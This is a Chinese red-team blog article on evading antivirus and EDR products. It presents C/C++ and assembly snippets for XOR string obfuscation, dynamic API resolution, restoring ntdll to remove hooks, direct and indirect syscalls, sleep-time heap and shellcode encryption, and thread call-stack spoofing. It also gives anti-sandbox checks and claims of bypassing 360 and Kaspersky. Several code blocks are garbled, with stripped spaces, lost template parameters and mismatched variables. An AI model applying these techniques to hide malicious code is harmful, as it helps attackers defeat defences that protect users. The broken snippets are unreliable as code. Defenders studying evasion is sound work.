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Defense Evasion(防御规避)

聚合站 SecWiki技术 作者 干杯Security 发布 2023年11月7日 16:03 入库 2026-11-18T08:52:25

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0x00 前言

终端对抗向的技巧型文章,欢迎留言与笔者沟通交流!

0x01 Static Analysis Evasion(静态文件规避)

一、检测机制

基于签名的检测:文件hash、特征码、文件名、图标

启发式查杀:导入导出表、API调用链

文件熵分析:文件中字节的熵

元数据分析:编译器、时间戳、数字签名

PE节表:PE文件中异常节

机器学习:例如常见的QVM HEUR 202

二、规避技巧

加密/压缩:使用自实现加密算法

常规方法:

XOR

Base64

AES

RC4

针对shellcode的检测

代码混淆:混淆源代码(llvm+pass、ollvm)

控制流平坦化

虚假控制流

指定替换

Pass插件

LLVM 混淆

OLLVM 混淆

字符串加密:避免基于字符串的检测

利用C++模板:constexpr 编译时间字符串加密

示例代码:

templateconstexprautoobfuscate(constcharplaintext[size]){MetaString obfuscated;for(size_ti =0; i < size -1; i++)obfuscated.buff[i] = plaintext[i] ^ key[i %sizeof(key)];obfuscated.buff[size -1] =0;returnobfuscated;}#defineENCODE(x) { constexpr auto encoded = obfstr::obfuscate(x); return encoded; }()#defineOBFSTR(x) ENCODE(x).deobfuscate()

效果如下:

动态加载windows api:隐藏导入表

使用

GetProcAddress()

GetModuleHandle()

动态获取windows API,隐藏导入表

示例代码:

typedefint(WINAPI* pMessageBoxW)(HWNDhWnd,LPCTSTRlpText,LPCTSTRlpCaption,UINTuType);intmain(){pMessageBoxWMyMessageBox = (pMessageBoxW)GetProcAddress(GetModuleHandle(L"USER32.dll"), "MessageBoxA");MyMessageBox(0,0, 0, 0);return0;}

效果如下:

降低文件熵

shellcode 转 English words

MAC、IPV4、IPV6、UUID编码

分离加载(远程拉取或突破隐写)

添加大资源文件

加壳:自写壳、商业壳

UPX

VMProtect

Shielden

Themida

ASPack

Enigma Protector

模拟正常文件:签名、文件名、图标、属性信息、资源

给Exe或Dll添加签名、图标、版本属性信息、图片、对话框等资源文件,使文件看起来更加合法,以规避启发式查杀

以360为例,常规我们编译出来的文件经常爆QVM202,但是当我们添加资源文件后,我们即可绕过QVM202

动态生成

动态生成加密key

动态编译生成文件

......

0x02 Dynamic Behavioral Evasion (动态行为规避)

一、检测机制

Sandbox:沙箱运行观察判断行为是否恶意

子进程/线程创建:例如监控Cmd.exe、Powershell.exe

敏感高危操作:修改注册表、添加用户、添加系统服务、添加计划任务、提权、获取凭证、截图等等….

敏感目录读写:注册表、自启动目录

进程链检测:监控父子进程间关系判断是否异常,例如word.exe—powershell.exe

代码注入检测:例如远程线程注入、DLL注入等等

网络通信:监控网络流量,分析可能的C2流量

API调用:Hook 常见 Windows API

二、规避技巧

Anti sandbox:反沙箱

使用质数运算延迟执行

检测系统开机时间是否大于某个设定值

检测物理内存是否大于4G

检测CPU核心数是否大于4

检测文件名是否修改

检测磁盘大小是否大于100G

判断是否有参数代入

Anti VM:反虚拟机

检测进程名

检测注册表

检测磁盘中文件

如图:

Unhook:从磁盘加载ntdll

通过读取磁盘上ntdll.dll的.text节,覆盖内存当中的ntdll.dll的.text节,达到脱钩的效果

示例代码:

HANDLE process = GetCurrentProcess();MODULEINFO mi = {};HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;HANDLE ntdllFile = CreateFileA("c:\windows\system32\ntdll.dll", GENERIC_READ, FILE_SHARE_READ,NULL, OPEN_EXISTING,0,NULL);HANDLE ntdllMapping = CreateFileMapping(ntdllFile,NULL, PAGE_READONLY | SEC_IMAGE,0,0,NULL);LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ,0,0,0);PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);for(WORD i =0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));if(!strcmp((char)hookedSectionHeader->Name, (char)".text")) {DWORD oldProtection =0;bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);}}CloseHandle(process);CloseHandle(ntdllFile);CloseHandle(ntdllMapping);FreeLibrary(ntdllModule);return0;

Syscall:Direct syscall、Indirect syscall

Direct syscall

示例代码:

NtAllocateVirtualMemoryPROCmovr10, rcxmoveax, wNtAllocateVirtualMemorysyscallretNtAllocateVirtualMemoryENDPUINT_PTRpNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");wNtAllocateVirtualMemory=((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];

Indirect syscall

示例代码:

NtWriteVirtualMemoryPROCmovr10, rcxmoveax, wNtWriteVirtualMemoryjmpQWORD PTR [sysAddrNtWriteVirtualMemory]NtWriteVirtualMemoryENDPUINT_PTRpNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");wNtAllocateVirtualMemory=((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];sysAddrNtAllocateVirtualMemory=pNtAllocateVirtualMemory + 0x12;

PE in Memory:内存加载

利用 Inline-Execute-PE 在内存中加载运行PE文件

利用 BOF.NET 在内存中执行.NET程序集文件

进程断链:断掉父子进程链

利用模拟运行断链

利用WMIC断链

利用Com断链

0x03 Memory Scanners Evasion (内存扫描规避)

一、检测机制

内存扫描:扫描内存查找注入的恶意代码,并检测进程内存空间中的可疑API调用

检测项:进程信息、shellcode特征、堆栈、内存映像

二、规避技巧

睡眠混淆:hook sleep函数,实现内存加密和解密

Heap Encryption

通过Hook Sleep函数,睡眠期间加密堆内存规避内存扫描:

voidWINAPIHookedSleep(DWORD dwMiliseconds){DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId());HeapEncryptDecrypt();OldSleep(dwMiliseconds);HeapEncryptDecrypt();DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId());}

关键部分代码,加密堆内存:staticPROCESS_HEAP_ENTRY entry;VOIDHeapEncryptDecrypt(){SecureZeroMemory(&entry,sizeof(entry));while(HeapWalk(currentHeap, &entry)) {if((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) !=0) {XORFunction(key, keySize, (char*)(entry.lpData), entry.cbData);}}}

ShellcodeFluctuation

Hook Sleep 函数

定位内存中的shellcode

睡眠期间翻转为RW

睡眠结束翻转为RX

无限循环,以此规避内存扫描

关键部分代码:

XOR加密:

voidxor32(uint8_t buf,size_tbufSize,uint32_txorKey){uint32_t buf32 =reinterpret_cast(buf);autobufSizeRounded = (bufSize - (bufSize %sizeof(uint32_t))) /4;for(size_ti =0; i < bufSizeRounded; i++){buf32[i] ^= xorKey;}for(size_ti =4* bufSizeRounded; i < bufSize; i++){buf[i] ^=static_cast(xorKey &0xff);}}

定位内存中的shellcode地址:boolisShellcodeThread(LPVOID address){MEMORY_BASIC_INFORMATION mbi = {0};if(VirtualQuery(address, &mbi,sizeof(mbi))){//// To verify whether address belongs to the shellcode's allocation, we can simply// query for its type. MEM_PRIVATE is an indicator of dynamic allocations such as VirtualAlloc.//if(mbi.Type == MEM_PRIVATE){constDWORD expectedProtection = (g_fluctuate == FluctuateToRW) ? PAGE_READWRITE : PAGE_NOACCESS;return((mbi.Protect & PAGE_EXECUTE_READ)|| (mbi.Protect & PAGE_EXECUTE_READWRITE)|| (mbi.Protect & expectedProtection));}}returnfalse;}

加密和解密shellcode:voidshellcodeEncryptDecrypt(LPVOID callerAddress){if((g_fluctuate != NoFluctuation) && g_fluctuationData.shellcodeAddr !=nullptr&& g_fluctuationData.shellcodeSize >0){if(!isShellcodeThread(callerAddress))return;DWORD oldProt =0;if(!g_fluctuationData.currentlyEncrypted|| (g_fluctuationData.currentlyEncrypted && g_fluctuate == FluctuateToNA)){::VirtualProtect(g_fluctuationData.shellcodeAddr,g_fluctuationData.shellcodeSize,PAGE_READWRITE,&g_fluctuationData.protect);log("[>] Flipped to RW.");}log((g_fluctuationData.currentlyEncrypted) ?"[<] Decoding...":"[>] Encoding...");xor32(reinterpret_cast(g_fluctuationData.shellcodeAddr),g_fluctuationData.shellcodeSize,g_fluctuationData.encodeKey);if(!g_fluctuationData.currentlyEncrypted && g_fluctuate == FluctuateToNA){//// Here we're utilising ORCA666's idea to mark the shellcode as PAGE_NOACCESS instead of PAGE_READWRITE// and our previously set up vectored exception handler should catch invalid memory access, flip back memory// protections and resume the execution.//// Be sure to check out ORCA666's original implementation here:// https://github.com/ORCA666/0x41/blob/main/0x41/HookingLoader.hpp#L285//::VirtualProtect(g_fluctuationData.shellcodeAddr,g_fluctuationData.shellcodeSize,PAGE_NOACCESS,&oldProt);log("[>] Flipped to No Access.\n");}elseif(g_fluctuationData.currentlyEncrypted){::VirtualProtect(g_fluctuationData.shellcodeAddr,g_fluctuationData.shellcodeSize,g_fluctuationData.protect,&oldProt);log("[<] Flipped back to RX/RWX.\n");}g_fluctuationData.currentlyEncrypted = !g_fluctuationData.currentlyEncrypted;}}

效果:

Bypass Kasperskey Memory Scanner:

Hook Sleep 函数

定位内存中的shellcode

睡眠期间翻转为RW

睡眠结束翻转为RX

无限循环,以此规避内存扫描

线程堆栈欺骗:欺骗线程堆栈返回地址

默认情况下,线程的返回地址指向我们驻留在内存中的shellcode,通过检查可疑进程中线程的返回地址,可以轻松识别到内存中的shellcode

最简单的方法,直接用0覆盖返回地址,从而截断堆栈

关键代码

voidWINAPIMySleep(DWORD _dwMilliseconds){constregisterDWORD dwMilliseconds = _dwMilliseconds;// Perform this (current) thread call stack spoofing.PULONG_PTR overwrite = (PULONG_PTR)_AddressOfReturnAddress();constregisterULONG_PTR origReturnAddress = overwrite;log("[>] Original return address: 0x",std::hex,std::setw(8),std::setfill('0'), origReturnAddress,". Finishing call stack...");overwrite =0;log("\n===> MySleep(",std::dec, dwMilliseconds,")\n");// Perform sleep emulating originally hooked functionality.::SleepEx(dwMilliseconds,false);// Restore original thread's call stack.log("[<] Restoring original return address...");*overwrite = origReturnAddress;}

效果对比:

默认线程调用堆栈:

欺骗后的线程调用堆栈:

总结:

堆栈欺骗+内存加密配合使用实战效果极佳,参考Cobalt Strike 4.7的SleepMask

0x04 Network traffic Evasion(网络流量规避)

一、检测机制

威胁情报:IP、域名

流量特征:固定通信流量特征

二、规避技巧

使用HTTPS

云函数

域前置

更改C2、webshell等工具通信流量

0x05 总结

抛出沙龙上,交流提出的两个问题。

以后杀软的发展趋势会着重在哪些地方?

以后对抗难点会在哪些地方?

逃逸技术是和反病毒技术的长期对抗。欢迎各位师傅和笔者沟通交流!

最后公众号后台回复终端对抗,获取作者联系方式哈。

原文链接:https://mp.weixin.qq.com/s/F0asRsaqOMvxHcu70kavZg